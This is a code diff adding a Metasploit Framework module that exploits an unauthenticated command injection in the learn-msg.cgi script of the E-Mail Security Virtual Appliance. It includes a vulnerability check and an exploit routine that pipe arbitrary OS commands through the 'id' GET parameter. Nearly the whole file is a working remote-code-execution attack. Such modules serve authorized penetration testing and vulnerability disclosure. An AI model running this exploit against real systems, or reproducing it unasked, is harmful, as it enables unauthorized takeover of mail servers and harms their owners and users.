|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection", |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a command injection vulnerability found in E-Mail Security |
| 20 | + Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary |
| 21 | + OS commands without authentication. This module has been successfully tested on the |
| 22 | + ESVA_2057 appliance. |
| 23 | + }, |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'iJoo', # Vulnerability Discovery and PoC |
| 28 | + 'juan vazquez' # Metasploit module |
| 29 | + ], |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + [ 'EDB', '20551' ] |
| 33 | + ], |
| 34 | + 'Payload' => |
| 35 | + { |
| 36 | + 'BadChars' => "\x00\x0d\x0a\x26", |
| 37 | + 'Compat' => |
| 38 | + { |
| 39 | + 'PayloadType' => 'cmd', |
| 40 | + 'RequiredCmd' => 'generic perl python', |
| 41 | + } |
| 42 | + }, |
| 43 | + 'Platform' => ['unix'], |
| 44 | + 'Arch' => ARCH_CMD, |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + ['ESVA_2057', {}], |
| 48 | + ], |
| 49 | + 'Privileged' => false, |
| 50 | + 'DisclosureDate' => "Aug 16 2012", |
| 51 | + 'DefaultTarget' => 0)) |
| 52 | + end |
| 53 | + |
| 54 | + |
| 55 | + def check |
| 56 | + clue = Rex::Text::rand_text_alpha(rand(5) + 5) |
| 57 | + res = send_request_cgi({ |
| 58 | + 'method' => 'GET', |
| 59 | + 'uri' => "/cgi-bin/learn-msg.cgi", |
| 60 | + 'vars_get' => { |
| 61 | + 'id' => "|echo #{clue};" |
| 62 | + } |
| 63 | + }) |
| 64 | + |
| 65 | + # If the server doesn't return the default redirection, probably something is wrong |
| 66 | + if res and res.code == 200 and res.body =~ /#{clue}/ |
| 67 | + return Exploit::CheckCode::Vulnerable |
| 68 | + end |
| 69 | + |
| 70 | + return Exploit::CheckCode::Safe |
| 71 | + end |
| 72 | + |
| 73 | + def exploit |
| 74 | + peer = "#{rhost}:#{rport}" |
| 75 | + |
| 76 | + print_status("#{peer} - Sending Command injection") |
| 77 | + res = send_request_cgi({ |
| 78 | + 'method' => 'GET', |
| 79 | + 'uri' => "/cgi-bin/learn-msg.cgi", |
| 80 | + 'vars_get' => { |
| 81 | + 'id' => "|#{payload.raw};" |
| 82 | + } |
| 83 | + }) |
| 84 | + |
| 85 | + # If the server doesn't return the default redirection, probably something is wrong |
| 86 | + if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/ |
| 87 | + print_error("#{peer} - Probably command not executed, aborting!") |
| 88 | + return |
| 89 | + end |
| 90 | + |
| 91 | + print_good("#{peer} - Command executed successfully") |
| 92 | + print_status("#{peer} - Output: \n#{res.body.split("Learned tokens")[0]}") |
| 93 | + end |
| 94 | + |
| 95 | +end |
0 commit comments